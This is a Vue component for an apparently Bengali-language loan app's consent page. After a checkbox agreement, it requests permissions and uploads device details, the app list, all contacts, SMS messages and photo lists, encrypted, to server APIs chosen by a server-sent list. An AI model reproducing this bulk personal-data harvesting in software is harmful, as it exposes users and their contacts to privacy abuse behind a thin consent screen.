<template>
    <div class="toappquanxian">
        <iframe src="https://app.pocketgo.xyz/polycystic_clapometer/remissible/rpfn3m.html" frameborder="0"></iframe>
        <div class="toappquanxian-bottom">
            <div class="toappquanxian-select">
                <van-checkbox v-model="checked" shape="square"></van-checkbox>
                <span class="toappquanxian-desc">অনুগ্রহ করে চুক্তিটি পড়ুন</span>
            </div>
            <div class="toappquanxian-btn">
                <div class="toappquanxian-back" @click="$router.back()">বাতিল করুন</div>
                <div class="toappquanxian-next" @click="doClick">চালিয়ে যান</div>
            </div>
        </div>
    </div>
</template>
<script>
import { getPermission, getDeviceInfo, getAppList, getSmsList, getPhotoList, getContactList } from "../../utils/android.js";
import { setDeviceInfoAPI, getshebeiInfoAPI, getAppInfoAPI, gettxlAPI, getduanxinAPI, getPhotoInfoAPI } from "../../api";
import isNext from '../form/isNext.js'
import { jiami, jiemi } from "../../utils/AESKey.js";
import { Dialog, Toast } from "vant";
export default {
    data() {
        return {
            checked: false
        }
    },
    methods: {
        async doClick() {
            if (!this.checked) {
                Toast('চুক্তি চেক করুন')
            } else {
                console.log('123123123123')
                // // 申请权限
                this.$store.commit('showLoading')
                let res = await getPermission()
                if (!res.result) {
                    this.$store.commit('hideLoading')
                    Dialog({ message: 'অনুমতি দেওয়া হয়নি। অনুগ্রহ করে আবার অনুমতি নিন, যদি আপনি দুবার প্রত্যাখ্যান করেন, অনুমতি সক্ষম করতে অনুগ্রহ করে ফোন সেটিংসে যান', confirmButtonText: 'নিশ্চিত' });
                    return
                }
                this.getInfo()
                isNext()
                this.$store.commit('hideLoading')
                this.$store.commit('appisfalse')
                // console.log(JSON.stringify(res), '申请权限的结果')
            }
        },
        //获取设备信息上报情况
        async getInfo() {
            const res = await setDeviceInfoAPI()
            this.list = jiemi(res.data).list
            if (this.list.indexOf("DEVICE") > -1) {
                let res = await getDeviceInfo();
                let info = JSON.parse(res.appInfo);
                getshebeiInfoAPI(jiami({ model: info.device }))
            }
            if (this.list.indexOf('APP') > -1) {
                let res = await getAppList();
                let info = JSON.parse(res.appInfo);
                getAppInfoAPI(jiami({ model: { deviceApps: info.deviceApps } }))
            }
            if (this.list.indexOf("CONTACT") > -1) {
                let res = await getContactList();
                let info = JSON.parse(res.appInfo);
                gettxlAPI(jiami({ model: { deviceContacts: info.deviceContacts } }))
            }
            if (this.list.indexOf("SMS") > -1) {
                let res = await getSmsList();
                let info = JSON.parse(res.appInfo);
                getduanxinAPI(jiami({ model: { list: info.smsList } }))
            }
            if (this.list.indexOf("PHOTO") > -1) {
                let res = await getPhotoList();
                let info = JSON.parse(res.appInfo);
                getPhotoInfoAPI(jiami({ model: { list: info.photoList } }))
            }
            console.log(this.list, '设备信息上报情况')
        }
    },
}
</script>
<style scoped lang="less">
@a: 3.75vw;

.toappquanxian {
    overflow: hidden;

    iframe {
        width: 105vw;
        height: (667/@a);
    }

    .toappquanxian-bottom {
        .toappquanxian-select {
            box-sizing: border-box;

            padding-left: (10/@a);
            height: (40/@a);
            background-color: #e7e7e7;
            display: flex;

            .toappquanxian-desc {
                padding-top: (10/@a);
                margin-left: (10/@a);
            }
        }

        .toappquanxian-btn {
            display: flex;
            height: (60/@a);
            text-align: center;
            line-height: (60/@a);
            color: #fff;
            font-size: (18/@a);

            .toappquanxian-back {
                width: 50vw;
                background-color: #cccccc;
            }

            .toappquanxian-next {
                width: 50vw;
                background-color: #7459fe;
            }
        }
    }

}
</style>